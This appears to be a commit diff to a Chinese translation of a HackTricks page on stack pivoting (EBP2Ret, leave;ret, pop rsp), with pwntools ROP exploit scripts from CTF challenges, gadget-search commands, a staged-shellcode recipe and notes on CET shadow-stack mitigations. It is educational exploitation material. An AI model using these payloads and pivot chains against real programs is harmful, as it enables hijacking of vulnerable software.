mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/stack-pivoting-ebp2r
This commit is contained in:
parent
7999d2f168
commit
81fd0e7a31
@ -4,59 +4,63 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
此技术利用操纵 **基指针 (EBP)** 的能力,通过仔细使用 EBP 寄存器和 **`leave; ret`** 指令序列来链接多个函数的执行。
|
||||
此技术利用操控 **基指针 (EBP/RBP)** 的能力,通过仔细使用帧指针和 **`leave; ret`** 指令序列来链接多个函数的执行。
|
||||
|
||||
作为提醒,**`leave`** 基本上意味着:
|
||||
作为提醒,在 x86/x86-64 中 **`leave`** 等同于:
|
||||
```
|
||||
mov ebp, esp
|
||||
pop ebp
|
||||
mov rsp, rbp ; mov esp, ebp on x86
|
||||
pop rbp ; pop ebp on x86
|
||||
ret
|
||||
```
|
||||
并且由于**EBP在栈中**位于EIP之前,因此可以通过控制栈来控制它。
|
||||
并且由于保存的 **EBP/RBP 在栈中** 位于保存的 EIP/RIP 之前,因此可以通过控制栈来控制它。
|
||||
|
||||
> 注意
|
||||
> - 在 64 位系统中,将 EBP 替换为 RBP,将 ESP 替换为 RSP。语义相同。
|
||||
> - 一些编译器省略了帧指针(参见“EBP 可能未被使用”)。在这种情况下,`leave` 可能不会出现,这种技术将无法工作。
|
||||
|
||||
### EBP2Ret
|
||||
|
||||
当你**可以更改EBP寄存器但没有直接方法更改EIP寄存器**时,这种技术特别有用。它利用了函数执行完毕后的行为。
|
||||
当你可以 **更改保存的 EBP/RBP 但没有直接方法更改 EIP/RIP** 时,这种技术特别有用。它利用了函数尾声的行为。
|
||||
|
||||
如果在`fvuln`执行期间,你设法在栈中注入一个**假EBP**,指向内存中你的shellcode地址所在的区域(加上4个字节以考虑`pop`操作),你可以间接控制EIP。当`fvuln`返回时,ESP被设置为这个构造的位置,随后的`pop`操作将ESP减少4,**有效地使其指向攻击者在其中存储的地址。**\
|
||||
注意你**需要知道2个地址**:ESP将要去的地址,以及你需要在ESP指向的地方写入的地址。
|
||||
如果在 `fvuln` 执行期间,你设法在栈中注入一个 **假 EBP**,指向内存中你的 shellcode/ROP 链地址所在的区域(在 amd64 上加 8 字节 / 在 x86 上加 4 字节以考虑 `pop`),你可以间接控制 RIP。当函数返回时,`leave` 将 RSP 设置为构造的位置,随后的 `pop rbp` 减少 RSP,**有效地使其指向攻击者存储的地址**。然后 `ret` 将使用该地址。
|
||||
|
||||
#### Exploit Construction
|
||||
注意你 **需要知道 2 个地址**:ESP/RSP 将要去的地址,以及 `ret` 将消耗的存储在该地址的值。
|
||||
|
||||
首先,你需要知道一个**可以写入任意数据/地址的地址**。ESP将在这里指向并**运行第一个`ret`**。
|
||||
#### 利用构造
|
||||
|
||||
然后,你需要知道`ret`使用的地址,该地址将**执行任意代码**。你可以使用:
|
||||
首先,你需要知道一个 **可以写入任意数据/地址的地址**。RSP 将指向这里并 **消耗第一个 `ret`**。
|
||||
|
||||
然后,你需要选择 `ret` 使用的地址,以 **转移执行**。你可以使用:
|
||||
|
||||
- 一个有效的 [**ONE_GADGET**](https://github.com/david942j/one_gadget) 地址。
|
||||
- **`system()`**的地址,后面跟着**4个垃圾字节**和`"/bin/sh"`的地址(x86位)。
|
||||
- 一个**`jump esp;`** gadget的地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后面跟着要执行的**shellcode**。
|
||||
- 一些[**ROP**](../rop-return-oriented-programing/index.html)链
|
||||
- **`system()`** 的地址,后面跟着适当的返回和参数(在 x86 上:`ret` 目标 = `&system`,然后 4 个垃圾字节,然后 `&"/bin/sh"`)。
|
||||
- 一个 **`jmp esp;`** gadget 的地址([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)),后面跟着内联 shellcode。
|
||||
- 一个在可写内存中分阶段的 [**ROP**](../rop-return-oriented-programing/index.html) 链。
|
||||
|
||||
请记住,在受控内存的任何这些地址之前,必须有**`4`个字节**,因为**`pop`**部分的`leave`指令。可以利用这4个字节设置一个**第二个假EBP**,并继续控制执行。
|
||||
记住,在这些地址之前,受控区域中必须有 **`pop ebp/rbp`** 的空间(amd64 上为 8B,x86 上为 4B)。你可以利用这些字节设置一个 **第二个假 EBP**,并在第一次调用返回后保持控制。
|
||||
|
||||
#### Off-By-One Exploit
|
||||
#### Off-By-One 利用
|
||||
|
||||
这种技术有一个特定的变体,称为“Off-By-One Exploit”。当你**只能修改EBP的最低有效字节**时使用。在这种情况下,存储要跳转到的地址的内存位置必须与EBP共享前3个字节,从而允许在更受限的条件下进行类似的操作。\
|
||||
通常会修改字节0x00以跳转尽可能远。
|
||||
当你 **只能修改保存的 EBP/RBP 的最低有效字节** 时,会使用一种变体。在这种情况下,存储要跳转到的地址的内存位置必须与原始 EBP/RBP 共享前三/五个字节,以便 1 字节的覆盖可以重定向它。通常低字节(偏移量 0x00)会增加,以尽可能远地跳转到附近的页面/对齐区域。
|
||||
|
||||
此外,通常在栈中使用RET滑块,并将真实的ROP链放在末尾,以使新的ESP更有可能指向RET滑块内部,并执行最终的ROP链。
|
||||
在栈中使用 RET sled 并将真实的 ROP 链放在末尾也是常见的做法,以使新的 RSP 更有可能指向 sled 内部,并执行最终的 ROP 链。
|
||||
|
||||
### **EBP Chaining**
|
||||
### EBP 链接
|
||||
|
||||
因此,将一个受控地址放入栈的`EBP`条目中,并在`EIP`中放入一个`leave; ret`的地址,可以**将`ESP`移动到栈中的受控`EBP`地址**。
|
||||
通过在栈的保存 `EBP` 槽中放置一个受控地址,并在 `EIP/RIP` 中放置一个 `leave; ret` gadget,可以 **将 `ESP/RSP` 移动到攻击者控制的地址**。
|
||||
|
||||
现在,**`ESP`**被控制,指向所需地址,下一条要执行的指令是`RET`。为了利用这一点,可以在受控ESP位置放置以下内容:
|
||||
现在 `RSP` 被控制,下一条指令是 `ret`。在受控内存中放置类似以下内容:
|
||||
|
||||
- **`&(next fake EBP)`** -> 由于`leave`指令中的`pop ebp`加载新的EBP
|
||||
- **`system()`** -> 由`ret`调用
|
||||
- **`&(leave;ret)`** -> 在system结束后调用,它将ESP移动到假EBP并重新开始
|
||||
- **`&("/bin/sh")`**-> `system`的参数
|
||||
- `&(next fake EBP)` -> 由 `leave` 中的 `pop ebp/rbp` 加载。
|
||||
- `&system()` -> 由 `ret` 调用。
|
||||
- `&(leave;ret)` -> 在 `system` 结束后,将 RSP 移动到下一个假 EBP 并继续。
|
||||
- `&("/bin/sh")` -> `system` 的参数。
|
||||
|
||||
基本上,这种方式可以链接多个假EBP以控制程序的流程。
|
||||
通过这种方式,可以链接多个假 EBP 来控制程序的流程。
|
||||
|
||||
这类似于[ret2lib](../rop-return-oriented-programing/ret2lib/index.html),但更复杂,没有明显的好处,但在某些边缘情况下可能会很有趣。
|
||||
这类似于 [ret2lib](../rop-return-oriented-programing/ret2lib/index.html),但更复杂,仅在边缘情况下有用。
|
||||
|
||||
此外,这里有一个[**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave),使用这种技术与**栈泄漏**来调用一个获胜函数。这是页面的最终有效载荷:
|
||||
此外,这里有一个 [**挑战示例**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave),使用这种技术与 **栈泄漏** 一起调用一个成功的函数。这是页面的最终有效载荷:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -72,7 +76,7 @@ POP_RDI = 0x40122b
|
||||
POP_RSI_R15 = 0x401229
|
||||
|
||||
payload = flat(
|
||||
0x0, # rbp (could be the address of anoter fake RBP)
|
||||
0x0, # rbp (could be the address of another fake RBP)
|
||||
POP_RDI,
|
||||
0xdeadbeef,
|
||||
POP_RSI_R15,
|
||||
@ -81,23 +85,24 @@ POP_RSI_R15,
|
||||
elf.sym['winner']
|
||||
)
|
||||
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
|
||||
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
|
||||
|
||||
payload += flat(
|
||||
buffer, # Load leak address in RBP
|
||||
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
|
||||
buffer, # Load leaked address in RBP
|
||||
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
|
||||
)
|
||||
|
||||
pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
> amd64 对齐提示:System V ABI 要求在调用点进行 16 字节的栈对齐。如果你的链调用像 `system` 这样的函数,请在调用之前添加一个对齐小工具(例如,`ret` 或 `sub rsp, 8 ; ret`)以保持对齐并避免 `movaps` 崩溃。
|
||||
|
||||
## EBP 可能未被使用
|
||||
|
||||
如[**在此帖子中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化编译的,**EBP 永远无法控制 ESP**,因此,任何通过控制 EBP 的漏洞基本上都会失败,因为它没有任何实际效果。\
|
||||
这是因为如果二进制文件经过优化,**前言和尾声会发生变化**。
|
||||
正如 [**在这篇文章中解释的**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1),如果一个二进制文件是使用某些优化或省略帧指针编译的,**EBP/RBP 从未控制 ESP/RSP**。因此,任何通过控制 EBP/RBP 的利用都会失败,因为序言/尾声不会从帧指针恢复。
|
||||
|
||||
- **未优化:**
|
||||
- 未优化 / 使用帧指针:
|
||||
```bash
|
||||
push %ebp # save ebp
|
||||
mov %esp,%ebp # set new ebp
|
||||
@ -108,22 +113,24 @@ sub $0x100,%esp # increase stack size
|
||||
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
|
||||
ret # return
|
||||
```
|
||||
- **优化:**
|
||||
- 优化 / 框架指针省略:
|
||||
```bash
|
||||
push %ebx # save ebx
|
||||
push %ebx # save callee-saved register
|
||||
sub $0x100,%esp # increase stack size
|
||||
.
|
||||
.
|
||||
.
|
||||
add $0x10c,%esp # reduce stack size
|
||||
pop %ebx # restore ebx
|
||||
pop %ebx # restore
|
||||
ret # return
|
||||
```
|
||||
## 其他控制 RSP 的方法
|
||||
在amd64上,你通常会看到`pop rbp ; ret`而不是`leave ; ret`,但如果完全省略了帧指针,那么就没有基于`rbp`的尾声可以进行跳转。
|
||||
|
||||
### **`pop rsp`** gadget
|
||||
## 控制RSP的其他方法
|
||||
|
||||
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) 你可以找到使用此技术的示例。对于这个挑战,需要调用一个带有 2 个特定参数的函数,并且有一个 **`pop rsp` gadget** 和一个 **来自栈的泄漏**:
|
||||
### `pop rsp` gadget
|
||||
|
||||
[**在此页面**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp)你可以找到使用此技术的示例。对于该挑战,需要调用一个带有两个特定参数的函数,并且有一个**`pop rsp` gadget**,还有一个**来自栈的泄漏**:
|
||||
```python
|
||||
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
|
||||
# This version has added comments
|
||||
@ -167,7 +174,7 @@ pause()
|
||||
p.sendline(payload)
|
||||
print(p.recvline())
|
||||
```
|
||||
### xchg \<reg>, rsp gadget
|
||||
### xchg <reg>, rsp gadget
|
||||
```
|
||||
pop <reg> <=== return pointer
|
||||
<reg value>
|
||||
@ -175,20 +182,67 @@ xchg <reg>, rsp
|
||||
```
|
||||
### jmp esp
|
||||
|
||||
查看 ret2esp 技术:
|
||||
在这里查看 ret2esp 技术:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献与其他示例
|
||||
### 快速查找 pivot gadgets
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 位,越界利用,使用以 ret sled 开头的 ROP 链
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 位,无 relro、canary、nx 和 pie。该程序允许泄漏堆栈或 pie 以及一个 qword 的 WWW。首先获取堆栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。利用这个“永恒”写入,在 .bss 中写入一个 ROP 链并最终调用它,通过 RBP 进行 pivoting。
|
||||
使用您喜欢的 gadget 查找器搜索经典的 pivot 原语:
|
||||
|
||||
- `leave ; ret` 在函数或库中
|
||||
- `pop rsp` / `xchg rax, rsp ; ret`
|
||||
- `add rsp, <imm> ; ret` (或在 x86 上使用 `add esp, <imm> ; ret`)
|
||||
|
||||
示例:
|
||||
```bash
|
||||
# Ropper
|
||||
ropper --file ./vuln --search "leave; ret"
|
||||
ropper --file ./vuln --search "pop rsp"
|
||||
ropper --file ./vuln --search "xchg rax, rsp ; ret"
|
||||
|
||||
# ROPgadget
|
||||
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
|
||||
```
|
||||
### 经典的透视阶段模式
|
||||
|
||||
在许多CTF/漏洞中使用的强大透视策略:
|
||||
|
||||
1) 使用小的初始溢出调用 `read`/`recv` 到一个大的可写区域(例如,`.bss`、堆或映射的RW内存),并将完整的ROP链放置在那里。
|
||||
2) 返回到一个透视小工具(`leave ; ret`、`pop rsp`、`xchg rax, rsp ; ret`)以将RSP移动到该区域。
|
||||
3) 继续使用分阶段链(例如,泄漏libc,调用 `mprotect`,然后 `read` shellcode,然后跳转到它)。
|
||||
|
||||
## 现代缓解措施破坏堆栈透视(CET/阴影堆栈)
|
||||
|
||||
现代x86 CPU和操作系统越来越多地部署 **CET阴影堆栈(SHSTK)**。启用SHSTK后,`ret`会将正常堆栈上的返回地址与硬件保护的阴影堆栈进行比较;任何不匹配都会引发控制保护故障并终止进程。因此,像EBP2Ret/leave;ret基础的透视技术将在从透视堆栈执行第一个`ret`时崩溃。
|
||||
|
||||
- 有关背景和更深入的细节,请参见:
|
||||
|
||||
{{#ref}}
|
||||
../common-binary-protections-and-bypasses/cet-and-shadow-stack.md
|
||||
{{#endref}}
|
||||
|
||||
- 在Linux上的快速检查:
|
||||
```bash
|
||||
# 1) Is the binary/toolchain CET-marked?
|
||||
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
|
||||
|
||||
# 2) Is the CPU/kernel capable?
|
||||
grep -E 'user_shstk|ibt' /proc/cpuinfo
|
||||
|
||||
# 3) Is SHSTK active for this process?
|
||||
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
|
||||
|
||||
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
|
||||
(gdb) checksec
|
||||
```
|
||||
- 实验室/CTF 注意事项:
|
||||
- 一些现代发行版在硬件和 glibc 支持存在时,为启用 CET 的二进制文件启用 SHSTK。对于在虚拟机中的受控测试,可以通过内核启动参数 `nousershstk` 全局禁用 SHSTK,或在启动时通过 glibc 可调参数选择性启用(参见参考文献)。不要在生产目标上禁用缓解措施。
|
||||
- 基于 JOP/COOP 或 SROP 的技术在某些目标上仍然可能有效,但 SHSTK 特别破坏了基于 `ret` 的枢轴。
|
||||
|
||||
- Windows 注意事项:Windows 10+ 暴露用户模式,Windows 11 添加了基于“硬件强制堆栈保护”的内核模式,建立在阴影堆栈之上。兼容 CET 的进程在 `ret` 时防止堆栈枢轴/ROP;开发人员通过 CETCOMPAT 和相关策略选择加入(参见参考文献)。
|
||||
|
||||
## ARM64
|
||||
|
||||
@ -213,12 +267,23 @@ ret
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> 在 ARM64 中执行类似于堆栈 pivoting 的方法是能够 **控制 `SP`**(通过控制某个寄存器的值传递给 `SP`,或者因为某种原因 `SP` 从堆栈获取其地址并且我们有溢出)然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。
|
||||
> 在 ARM64 中执行类似堆栈枢轴的方式是能够 **控制 `SP`**(通过控制某个寄存器,其值传递给 `SP`,或者因为某种原因 `SP` 从堆栈获取其地址而我们有溢出)然后 **利用尾声** 从 **受控的 `SP`** 加载 **`x30`** 寄存器并 **`RET`** 到它。
|
||||
|
||||
在以下页面中,你还可以看到 **Ret2esp 在 ARM64 中的等效物**:
|
||||
在以下页面中,你可以看到 **Ret2esp 在 ARM64 中的等效物**:
|
||||
|
||||
{{#ref}}
|
||||
../rop-return-oriented-programing/ret2esp-ret2reg.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html)
|
||||
- 64 位,越界利用,使用以 ret sled 开头的 rop 链
|
||||
- [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html)
|
||||
- 64 位,无 relro、canary、nx 和 pie。该程序为堆栈或 pie 提供了泄漏和一个 qword 的 WWW。首先获取堆栈泄漏,然后使用 WWW 返回获取 pie 泄漏。然后使用 WWW 创建一个利用 `.fini_array` 条目 + 调用 `__libc_csu_fini` 的永恒循环([更多信息在这里](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md))。利用这个“永恒”的写入,在 .bss 中写入一个 ROP 链并最终调用它,使用 RBP 进行枢轴。
|
||||
- Linux 内核文档:控制流保护技术(CET)阴影堆栈 — 关于 SHSTK、`nousershstk`、`/proc/$PID/status` 标志和通过 `arch_prctl` 启用的详细信息。 https://www.kernel.org/doc/html/next/x86/shstk.html
|
||||
- Microsoft Learn:内核模式硬件强制堆栈保护(Windows 上的 CET 阴影堆栈)。 https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user